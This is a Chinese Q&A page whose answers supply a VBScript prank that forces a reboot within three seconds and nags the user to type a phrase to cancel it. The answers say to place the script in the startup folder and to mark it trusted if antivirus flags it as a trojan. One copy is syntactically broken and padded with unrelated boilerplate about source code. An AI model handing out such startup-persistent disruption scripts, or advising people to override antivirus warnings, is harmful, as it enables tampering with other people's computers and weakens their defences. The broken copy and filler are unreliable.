让电脑不断重启的代码是什么?

如题所述

将下面的代码复制到记事本,保存为vbe格式,放到电脑的启动项里面(如果杀毒软件提示它是病毒或木马请将它改为信任此程序)。电脑将每次开机后3秒内自动关机。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 3 -c ""说不关机,不说不关机你的电脑将在3秒后关机!""
",0 ,true
dim a
do while(a <> "不关机")
a = inputbox ("说不关机,就不关机,快点啦,说 ""不关机"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "你已经取消本次关机。"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "取消成功!"
温馨提示:答案为网友推荐,仅供参考
第1个回答  2018-05-29

将下面的代码复制到记事本,保存为vbe格式,放到电脑的启动项里面(如果杀毒软件提示它是病毒或木马请将它改为信任此程序)。电脑将每次开机后3秒内自动关机。

on error resume next

dim WSHshell
set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 3 -c ""说不关机,不说不关机你的电脑将在3秒后关机!"

dim 

do while(a <> "不关机"

a = inputbox ("说不关机,就不关机,快点啦,说 ""不关机"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13)  chr(13) + chr(13) + "你已经取消本次关机。"

dim WSHshel

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "取消成功!"

代码就是程序员用开发工具所支持的语言写出来的源文件,是一组由字符、符号或信号码元以离散形式表示信息的明确的规则体系。

代码设计的原则包括唯一确定性、标准化和通用性、可扩充性与稳定性、便于识别与记忆、力求短小与格式统一以及容易修改等。    源代码是代码的分支,某种意义上来说,源代码相当于代码。现代程序语言中,源代码可以书籍或磁带形式出现,但最为常用格式是文本文件,这种典型格式的目的是为了编译出计算机程序。

计算机源代码最终目的是将人类可读文本翻译成为计算机可执行的二进制指令,这种过程叫编译,它由通过编译器完成

源代码主要功用有如下2种作用:

生成目标代码,即计算机可以识别的代码。

对软件进行说明,即对软件的编写进行说明。为数不少的初学者,甚至少数有经验的程序员都忽视软件说明的编写,因为这部分虽然不会在生成的程序中直接显示,也不参与编译。但是说明对软件的学习、分享、维护和软件复用都有巨大的好处。因此,书写软件说明在业界被认为是能创造优秀程序的良好习惯,一些公司也硬性规定必须书写。

需要指出的是,源代码的修改不能改变已经生成的目标代码。如果需要目标代码做出相应的修改,必须重新编译。

本回答被网友采纳
第2个回答  2018-02-03
将下面的代码复制到记事本,保存为vbe格式,放到电脑的启动项里面(如果杀毒软件提示它是病毒或木马请将它改为信任此程序)。电脑将每次开机后3秒内自动关机。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 3 -c ""说不关机,不说不关机你的电脑将在3秒后关机!""
",0 ,true
dim a
do while(a <> "不关机")
a = inputbox ("说不关机,就不关机,快点啦,说 ""不关机"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "你已经取消本次关机。"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "取消成功!"
相似回答